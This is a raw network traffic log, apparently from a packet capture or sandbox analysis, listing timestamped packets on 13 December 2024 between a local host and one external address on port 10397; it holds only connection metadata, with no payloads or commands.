Dec 13, 2024 12:34:40.253437042 CET	10397	49982	147.185.221.224	192.168.2.5
Dec 13, 2024 12:34:40.253694057 CET	49982	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:34:40.501569986 CET	10397	49982	147.185.221.224	192.168.2.5
Dec 13, 2024 12:34:40.501811981 CET	49982	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:34:40.749536037 CET	10397	49982	147.185.221.224	192.168.2.5
Dec 13, 2024 12:34:40.752326012 CET	49982	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:34:40.997471094 CET	10397	49982	147.185.221.224	192.168.2.5
Dec 13, 2024 12:34:40.997594118 CET	49982	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:34:41.245429993 CET	10397	49982	147.185.221.224	192.168.2.5
Dec 13, 2024 12:34:41.245536089 CET	49982	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:34:41.493446112 CET	10397	49982	147.185.221.224	192.168.2.5
Dec 13, 2024 12:34:41.494486094 CET	49982	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:34:41.741482019 CET	10397	49982	147.185.221.224	192.168.2.5
Dec 13, 2024 12:34:41.741565943 CET	49982	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:34:41.993443012 CET	10397	49982	147.185.221.224	192.168.2.5
Dec 13, 2024 12:34:41.993592978 CET	49982	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:34:42.245589972 CET	10397	49982	147.185.221.224	192.168.2.5
Dec 13, 2024 12:34:42.245683908 CET	49982	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:34:42.394850016 CET	10397	49982	147.185.221.224	192.168.2.5
Dec 13, 2024 12:34:44.421545982 CET	49983	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:34:44.541601896 CET	10397	49983	147.185.221.224	192.168.2.5
Dec 13, 2024 12:34:44.541810036 CET	49983	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:34:44.546142101 CET	49983	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:34:44.666126013 CET	10397	49983	147.185.221.224	192.168.2.5
Dec 13, 2024 12:34:44.666389942 CET	49983	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:34:44.786356926 CET	10397	49983	147.185.221.224	192.168.2.5
Dec 13, 2024 12:34:44.786708117 CET	49983	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:34:44.906608105 CET	10397	49983	147.185.221.224	192.168.2.5
Dec 13, 2024 12:34:44.906743050 CET	49983	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:34:45.026582956 CET	10397	49983	147.185.221.224	192.168.2.5
Dec 13, 2024 12:34:45.026844978 CET	49983	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:34:45.146658897 CET	10397	49983	147.185.221.224	192.168.2.5
Dec 13, 2024 12:34:45.146936893 CET	49983	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:34:45.266778946 CET	10397	49983	147.185.221.224	192.168.2.5
Dec 13, 2024 12:34:45.305350065 CET	49983	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:34:45.425225973 CET	10397	49983	147.185.221.224	192.168.2.5
Dec 13, 2024 12:34:45.425533056 CET	49983	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:34:45.545391083 CET	10397	49983	147.185.221.224	192.168.2.5
Dec 13, 2024 12:34:45.545999050 CET	49983	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:34:45.665844917 CET	10397	49983	147.185.221.224	192.168.2.5
Dec 13, 2024 12:34:45.666086912 CET	49983	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:34:45.786050081 CET	10397	49983	147.185.221.224	192.168.2.5
Dec 13, 2024 12:34:45.786211014 CET	49983	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:34:45.906425953 CET	10397	49983	147.185.221.224	192.168.2.5
Dec 13, 2024 12:34:45.906711102 CET	49983	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:34:46.026521921 CET	10397	49983	147.185.221.224	192.168.2.5
Dec 13, 2024 12:34:46.026782036 CET	49983	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:34:46.146572113 CET	10397	49983	147.185.221.224	192.168.2.5
Dec 13, 2024 12:34:46.146764994 CET	49983	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:34:46.266623974 CET	10397	49983	147.185.221.224	192.168.2.5
Dec 13, 2024 12:34:46.266980886 CET	49983	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:34:46.386980057 CET	10397	49983	147.185.221.224	192.168.2.5
Dec 13, 2024 12:34:46.387341022 CET	49983	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:34:46.507189989 CET	10397	49983	147.185.221.224	192.168.2.5
Dec 13, 2024 12:34:46.507354975 CET	49983	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:34:46.627197981 CET	10397	49983	147.185.221.224	192.168.2.5
Dec 13, 2024 12:34:46.627911091 CET	49983	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:34:46.747876883 CET	10397	49983	147.185.221.224	192.168.2.5
Dec 13, 2024 12:34:46.748272896 CET	49983	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:34:46.868845940 CET	10397	49983	147.185.221.224	192.168.2.5
Dec 13, 2024 12:34:46.873152971 CET	49983	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:34:46.993187904 CET	10397	49983	147.185.221.224	192.168.2.5
Dec 13, 2024 12:34:46.996367931 CET	49983	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:34:47.116277933 CET	10397	49983	147.185.221.224	192.168.2.5
Dec 13, 2024 12:34:47.120368004 CET	49983	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:34:47.240242004 CET	10397	49983	147.185.221.224	192.168.2.5
Dec 13, 2024 12:34:47.244285107 CET	49983	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:34:47.364537954 CET	10397	49983	147.185.221.224	192.168.2.5
Dec 13, 2024 12:34:47.366579056 CET	49983	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:34:47.486505985 CET	10397	49983	147.185.221.224	192.168.2.5
Dec 13, 2024 12:34:47.488248110 CET	49983	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:34:47.608123064 CET	10397	49983	147.185.221.224	192.168.2.5
Dec 13, 2024 12:34:47.609925032 CET	49983	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:34:47.729959965 CET	10397	49983	147.185.221.224	192.168.2.5
Dec 13, 2024 12:34:47.730061054 CET	49983	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:34:47.849982977 CET	10397	49983	147.185.221.224	192.168.2.5
Dec 13, 2024 12:34:47.852314949 CET	49983	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:34:47.972227097 CET	10397	49983	147.185.221.224	192.168.2.5
Dec 13, 2024 12:34:48.003813982 CET	49983	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:34:48.124429941 CET	10397	49983	147.185.221.224	192.168.2.5
Dec 13, 2024 12:34:48.223165035 CET	49983	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:34:48.343189001 CET	10397	49983	147.185.221.224	192.168.2.5
Dec 13, 2024 12:34:48.366919994 CET	49983	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:34:48.486968040 CET	10397	49983	147.185.221.224	192.168.2.5
Dec 13, 2024 12:34:48.487353086 CET	49983	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:34:48.607230902 CET	10397	49983	147.185.221.224	192.168.2.5
Dec 13, 2024 12:34:48.608455896 CET	49983	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:34:48.728265047 CET	10397	49983	147.185.221.224	192.168.2.5
Dec 13, 2024 12:34:48.731479883 CET	49983	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:34:48.851331949 CET	10397	49983	147.185.221.224	192.168.2.5
Dec 13, 2024 12:34:48.855336905 CET	49983	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:34:48.975272894 CET	10397	49983	147.185.221.224	192.168.2.5
Dec 13, 2024 12:34:48.980351925 CET	49983	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:34:49.100317001 CET	10397	49983	147.185.221.224	192.168.2.5
Dec 13, 2024 12:34:49.100548029 CET	49983	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:34:49.220525980 CET	10397	49983	147.185.221.224	192.168.2.5
Dec 13, 2024 12:34:49.220655918 CET	49983	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:34:49.340519905 CET	10397	49983	147.185.221.224	192.168.2.5
Dec 13, 2024 12:34:49.341020107 CET	49983	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:34:49.460896969 CET	10397	49983	147.185.221.224	192.168.2.5
Dec 13, 2024 12:34:49.460995913 CET	49983	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:34:49.581064939 CET	10397	49983	147.185.221.224	192.168.2.5
Dec 13, 2024 12:34:49.581221104 CET	49983	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:34:49.701471090 CET	10397	49983	147.185.221.224	192.168.2.5
Dec 13, 2024 12:34:49.701766014 CET	49983	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:34:49.821825027 CET	10397	49983	147.185.221.224	192.168.2.5
Dec 13, 2024 12:34:49.821929932 CET	49983	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:34:49.942106009 CET	10397	49983	147.185.221.224	192.168.2.5
Dec 13, 2024 12:34:49.942277908 CET	49983	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:34:50.062149048 CET	10397	49983	147.185.221.224	192.168.2.5
Dec 13, 2024 12:34:50.062894106 CET	49983	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:34:50.182804108 CET	10397	49983	147.185.221.224	192.168.2.5
Dec 13, 2024 12:34:50.183053970 CET	49983	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:34:50.303056002 CET	10397	49983	147.185.221.224	192.168.2.5
Dec 13, 2024 12:34:50.303193092 CET	49983	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:34:50.423338890 CET	10397	49983	147.185.221.224	192.168.2.5
Dec 13, 2024 12:34:50.423419952 CET	49983	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:34:50.543406963 CET	10397	49983	147.185.221.224	192.168.2.5
Dec 13, 2024 12:34:50.543528080 CET	49983	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:34:50.663692951 CET	10397	49983	147.185.221.224	192.168.2.5
Dec 13, 2024 12:34:51.281405926 CET	49983	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:34:51.401349068 CET	10397	49983	147.185.221.224	192.168.2.5
Dec 13, 2024 12:34:51.401478052 CET	49983	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:34:51.521357059 CET	10397	49983	147.185.221.224	192.168.2.5
Dec 13, 2024 12:34:51.521454096 CET	49983	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:34:51.641371965 CET	10397	49983	147.185.221.224	192.168.2.5
Dec 13, 2024 12:34:51.641455889 CET	49983	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:34:51.761327982 CET	10397	49983	147.185.221.224	192.168.2.5
Dec 13, 2024 12:34:51.761590004 CET	49983	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:34:51.881511927 CET	10397	49983	147.185.221.224	192.168.2.5
Dec 13, 2024 12:34:51.881791115 CET	49983	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:34:52.001701117 CET	10397	49983	147.185.221.224	192.168.2.5
Dec 13, 2024 12:34:52.001794100 CET	49983	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:34:52.122898102 CET	10397	49983	147.185.221.224	192.168.2.5
Dec 13, 2024 12:34:52.123220921 CET	49983	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:34:52.243243933 CET	10397	49983	147.185.221.224	192.168.2.5
Dec 13, 2024 12:34:52.243365049 CET	49983	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:34:52.363415003 CET	10397	49983	147.185.221.224	192.168.2.5
Dec 13, 2024 12:34:52.363718987 CET	49983	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:34:52.483603954 CET	10397	49983	147.185.221.224	192.168.2.5
Dec 13, 2024 12:34:52.483681917 CET	49983	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:34:52.603943110 CET	10397	49983	147.185.221.224	192.168.2.5
Dec 13, 2024 12:34:52.604163885 CET	49983	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:34:52.724467993 CET	10397	49983	147.185.221.224	192.168.2.5
Dec 13, 2024 12:34:52.726298094 CET	49983	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:34:52.846208096 CET	10397	49983	147.185.221.224	192.168.2.5
Dec 13, 2024 12:34:52.846306086 CET	49983	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:34:52.966768026 CET	10397	49983	147.185.221.224	192.168.2.5
Dec 13, 2024 12:34:52.970388889 CET	49983	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:34:53.091279030 CET	10397	49983	147.185.221.224	192.168.2.5
Dec 13, 2024 12:34:53.091634035 CET	49983	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:34:53.211605072 CET	10397	49983	147.185.221.224	192.168.2.5
Dec 13, 2024 12:34:53.214447021 CET	49983	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:34:53.334547043 CET	10397	49983	147.185.221.224	192.168.2.5
Dec 13, 2024 12:34:53.334908962 CET	49983	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:34:53.455209970 CET	10397	49983	147.185.221.224	192.168.2.5
Dec 13, 2024 12:34:53.455310106 CET	49983	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:34:53.575198889 CET	10397	49983	147.185.221.224	192.168.2.5
Dec 13, 2024 12:34:53.575304985 CET	49983	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:34:53.695146084 CET	10397	49983	147.185.221.224	192.168.2.5
Dec 13, 2024 12:34:53.695250988 CET	49983	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:34:53.815032005 CET	10397	49983	147.185.221.224	192.168.2.5
Dec 13, 2024 12:34:53.815104961 CET	49983	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:34:53.935005903 CET	10397	49983	147.185.221.224	192.168.2.5
Dec 13, 2024 12:34:53.935339928 CET	49983	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:34:54.055232048 CET	10397	49983	147.185.221.224	192.168.2.5
Dec 13, 2024 12:34:54.055427074 CET	49983	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:34:54.175375938 CET	10397	49983	147.185.221.224	192.168.2.5
Dec 13, 2024 12:34:54.175694942 CET	49983	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:34:54.295557022 CET	10397	49983	147.185.221.224	192.168.2.5
Dec 13, 2024 12:34:54.295651913 CET	49983	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:34:54.457432985 CET	10397	49983	147.185.221.224	192.168.2.5
Dec 13, 2024 12:34:54.457528114 CET	49983	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:34:54.661429882 CET	10397	49983	147.185.221.224	192.168.2.5
Dec 13, 2024 12:34:54.662614107 CET	49983	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:34:54.909449100 CET	10397	49983	147.185.221.224	192.168.2.5
Dec 13, 2024 12:34:54.910429001 CET	49983	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:34:55.157484055 CET	10397	49983	147.185.221.224	192.168.2.5
Dec 13, 2024 12:34:55.157937050 CET	49983	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:34:55.405467987 CET	10397	49983	147.185.221.224	192.168.2.5
Dec 13, 2024 12:34:55.406730890 CET	49983	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:34:55.653460026 CET	10397	49983	147.185.221.224	192.168.2.5
Dec 13, 2024 12:34:55.653719902 CET	49983	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:34:55.901590109 CET	10397	49983	147.185.221.224	192.168.2.5
Dec 13, 2024 12:34:55.901820898 CET	49983	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:34:56.149432898 CET	10397	49983	147.185.221.224	192.168.2.5
Dec 13, 2024 12:34:56.149715900 CET	49983	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:34:56.397595882 CET	10397	49983	147.185.221.224	192.168.2.5
Dec 13, 2024 12:34:56.397855997 CET	49983	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:34:56.645518064 CET	10397	49983	147.185.221.224	192.168.2.5
Dec 13, 2024 12:34:56.645746946 CET	49983	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:34:56.898848057 CET	10397	49983	147.185.221.224	192.168.2.5
Dec 13, 2024 12:34:56.918087006 CET	49983	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:34:57.166477919 CET	10397	49983	147.185.221.224	192.168.2.5
Dec 13, 2024 12:34:57.166769028 CET	49983	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:34:57.413422108 CET	10397	49983	147.185.221.224	192.168.2.5
Dec 13, 2024 12:34:57.413573027 CET	49983	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:34:57.661875963 CET	10397	49983	147.185.221.224	192.168.2.5
Dec 13, 2024 12:34:57.663862944 CET	49983	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:34:57.909645081 CET	10397	49983	147.185.221.224	192.168.2.5
Dec 13, 2024 12:34:57.912295103 CET	49983	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:34:58.157532930 CET	10397	49983	147.185.221.224	192.168.2.5
Dec 13, 2024 12:34:58.157650948 CET	49983	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:34:58.405544043 CET	10397	49983	147.185.221.224	192.168.2.5
Dec 13, 2024 12:34:58.405713081 CET	49983	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:34:58.653491020 CET	10397	49983	147.185.221.224	192.168.2.5
Dec 13, 2024 12:34:58.653748989 CET	49983	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:34:58.901572943 CET	10397	49983	147.185.221.224	192.168.2.5
Dec 13, 2024 12:34:58.903331041 CET	49983	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:34:59.153480053 CET	10397	49983	147.185.221.224	192.168.2.5
Dec 13, 2024 12:34:59.153908014 CET	49983	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:34:59.402312994 CET	10397	49983	147.185.221.224	192.168.2.5
Dec 13, 2024 12:34:59.402915001 CET	49983	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:34:59.649451017 CET	10397	49983	147.185.221.224	192.168.2.5
Dec 13, 2024 12:34:59.649777889 CET	49983	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:34:59.897502899 CET	10397	49983	147.185.221.224	192.168.2.5
Dec 13, 2024 12:34:59.897974014 CET	49983	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:35:00.145524979 CET	10397	49983	147.185.221.224	192.168.2.5
Dec 13, 2024 12:35:00.146117926 CET	49983	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:35:00.393543005 CET	10397	49983	147.185.221.224	192.168.2.5
Dec 13, 2024 12:35:00.393886089 CET	49983	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:35:00.641489983 CET	10397	49983	147.185.221.224	192.168.2.5
Dec 13, 2024 12:35:00.641697884 CET	49983	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:35:00.889470100 CET	10397	49983	147.185.221.224	192.168.2.5
Dec 13, 2024 12:35:00.889565945 CET	49983	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:35:01.137569904 CET	10397	49983	147.185.221.224	192.168.2.5
Dec 13, 2024 12:35:01.137799978 CET	49983	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:35:01.385524035 CET	10397	49983	147.185.221.224	192.168.2.5
Dec 13, 2024 12:35:01.385916948 CET	49983	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:35:01.633440971 CET	10397	49983	147.185.221.224	192.168.2.5
Dec 13, 2024 12:35:01.999078035 CET	49983	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:35:02.119426966 CET	10397	49983	147.185.221.224	192.168.2.5
Dec 13, 2024 12:35:02.119695902 CET	49983	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:35:02.243792057 CET	10397	49983	147.185.221.224	192.168.2.5
Dec 13, 2024 12:35:02.244579077 CET	49983	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:35:02.364479065 CET	10397	49983	147.185.221.224	192.168.2.5
Dec 13, 2024 12:35:02.370024920 CET	49983	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:35:02.490919113 CET	10397	49983	147.185.221.224	192.168.2.5
Dec 13, 2024 12:35:02.492621899 CET	49983	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:35:02.612693071 CET	10397	49983	147.185.221.224	192.168.2.5
Dec 13, 2024 12:35:02.616839886 CET	49983	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:35:02.736829996 CET	10397	49983	147.185.221.224	192.168.2.5
Dec 13, 2024 12:35:02.739339113 CET	49983	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:35:02.859802008 CET	10397	49983	147.185.221.224	192.168.2.5
Dec 13, 2024 12:35:02.859903097 CET	49983	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:35:02.979885101 CET	10397	49983	147.185.221.224	192.168.2.5
Dec 13, 2024 12:35:02.980294943 CET	49983	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:35:03.100281954 CET	10397	49983	147.185.221.224	192.168.2.5
Dec 13, 2024 12:35:03.104310036 CET	49983	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:35:03.224256992 CET	10397	49983	147.185.221.224	192.168.2.5
Dec 13, 2024 12:35:03.228462934 CET	49983	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:35:03.348401070 CET	10397	49983	147.185.221.224	192.168.2.5
Dec 13, 2024 12:35:03.348650932 CET	49983	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:35:03.468489885 CET	10397	49983	147.185.221.224	192.168.2.5
Dec 13, 2024 12:35:03.468780041 CET	49983	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:35:03.589966059 CET	10397	49983	147.185.221.224	192.168.2.5
Dec 13, 2024 12:35:03.590152025 CET	49983	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:35:03.710093021 CET	10397	49983	147.185.221.224	192.168.2.5
Dec 13, 2024 12:35:03.710278034 CET	49983	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:35:03.830964088 CET	10397	49983	147.185.221.224	192.168.2.5
Dec 13, 2024 12:35:03.831337929 CET	49983	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:35:03.951464891 CET	10397	49983	147.185.221.224	192.168.2.5
Dec 13, 2024 12:35:03.951772928 CET	49983	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:35:04.114140987 CET	10397	49983	147.185.221.224	192.168.2.5
Dec 13, 2024 12:35:04.114260912 CET	49983	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:35:04.317487001 CET	10397	49983	147.185.221.224	192.168.2.5
Dec 13, 2024 12:35:04.317693949 CET	49983	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:35:04.565529108 CET	10397	49983	147.185.221.224	192.168.2.5
Dec 13, 2024 12:35:04.566292048 CET	49983	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:35:04.813450098 CET	10397	49983	147.185.221.224	192.168.2.5
Dec 13, 2024 12:35:04.813558102 CET	49983	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:35:05.065526962 CET	10397	49983	147.185.221.224	192.168.2.5
Dec 13, 2024 12:35:05.065706015 CET	49983	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:35:05.313514948 CET	10397	49983	147.185.221.224	192.168.2.5
Dec 13, 2024 12:35:05.315335989 CET	49983	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:35:05.561454058 CET	10397	49983	147.185.221.224	192.168.2.5
Dec 13, 2024 12:35:05.561609030 CET	49983	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:35:05.809493065 CET	10397	49983	147.185.221.224	192.168.2.5
Dec 13, 2024 12:35:05.811191082 CET	49983	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:35:06.058553934 CET	10397	49983	147.185.221.224	192.168.2.5
Dec 13, 2024 12:35:06.059056044 CET	49983	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:35:06.306658983 CET	10397	49983	147.185.221.224	192.168.2.5
Dec 13, 2024 12:35:06.310520887 CET	49983	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:35:06.442847967 CET	10397	49983	147.185.221.224	192.168.2.5
Dec 13, 2024 12:35:08.451984882 CET	49984	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:35:08.571978092 CET	10397	49984	147.185.221.224	192.168.2.5
Dec 13, 2024 12:35:08.572304964 CET	49984	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:35:08.575599909 CET	49984	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:35:08.695416927 CET	10397	49984	147.185.221.224	192.168.2.5
Dec 13, 2024 12:35:08.695746899 CET	49984	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:35:08.816127062 CET	10397	49984	147.185.221.224	192.168.2.5
Dec 13, 2024 12:35:08.818485975 CET	49984	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:35:08.938596964 CET	10397	49984	147.185.221.224	192.168.2.5
Dec 13, 2024 12:35:08.944461107 CET	49984	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:35:09.064243078 CET	10397	49984	147.185.221.224	192.168.2.5
Dec 13, 2024 12:35:09.064836979 CET	49984	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:35:09.188513994 CET	10397	49984	147.185.221.224	192.168.2.5
Dec 13, 2024 12:35:09.188744068 CET	49984	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:35:09.308706045 CET	10397	49984	147.185.221.224	192.168.2.5
Dec 13, 2024 12:35:09.320203066 CET	49984	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:35:09.442985058 CET	10397	49984	147.185.221.224	192.168.2.5
Dec 13, 2024 12:35:09.443150997 CET	49984	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:35:09.563698053 CET	10397	49984	147.185.221.224	192.168.2.5
Dec 13, 2024 12:35:09.572201967 CET	49984	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:35:09.692931890 CET	10397	49984	147.185.221.224	192.168.2.5
Dec 13, 2024 12:35:09.693460941 CET	49984	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:35:09.813476086 CET	10397	49984	147.185.221.224	192.168.2.5
Dec 13, 2024 12:35:09.813878059 CET	49984	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:35:09.936284065 CET	10397	49984	147.185.221.224	192.168.2.5
Dec 13, 2024 12:35:09.940216064 CET	49984	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:35:10.060445070 CET	10397	49984	147.185.221.224	192.168.2.5
Dec 13, 2024 12:35:10.060602903 CET	49984	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:35:10.180824041 CET	10397	49984	147.185.221.224	192.168.2.5
Dec 13, 2024 12:35:10.181366920 CET	49984	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:35:10.301168919 CET	10397	49984	147.185.221.224	192.168.2.5
Dec 13, 2024 12:35:10.301400900 CET	49984	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:35:10.421386957 CET	10397	49984	147.185.221.224	192.168.2.5
Dec 13, 2024 12:35:10.421520948 CET	49984	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:35:10.541403055 CET	10397	49984	147.185.221.224	192.168.2.5
Dec 13, 2024 12:35:10.543346882 CET	49984	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:35:10.663237095 CET	10397	49984	147.185.221.224	192.168.2.5
Dec 13, 2024 12:35:10.664371014 CET	49984	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:35:10.784389019 CET	10397	49984	147.185.221.224	192.168.2.5
Dec 13, 2024 12:35:10.788477898 CET	49984	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:35:10.908799887 CET	10397	49984	147.185.221.224	192.168.2.5
Dec 13, 2024 12:35:10.911179066 CET	49984	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:35:11.031111956 CET	10397	49984	147.185.221.224	192.168.2.5
Dec 13, 2024 12:35:11.031336069 CET	49984	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:35:11.158121109 CET	10397	49984	147.185.221.224	192.168.2.5
Dec 13, 2024 12:35:11.158289909 CET	49984	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:35:11.278217077 CET	10397	49984	147.185.221.224	192.168.2.5
Dec 13, 2024 12:35:11.278399944 CET	49984	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:35:11.398298979 CET	10397	49984	147.185.221.224	192.168.2.5
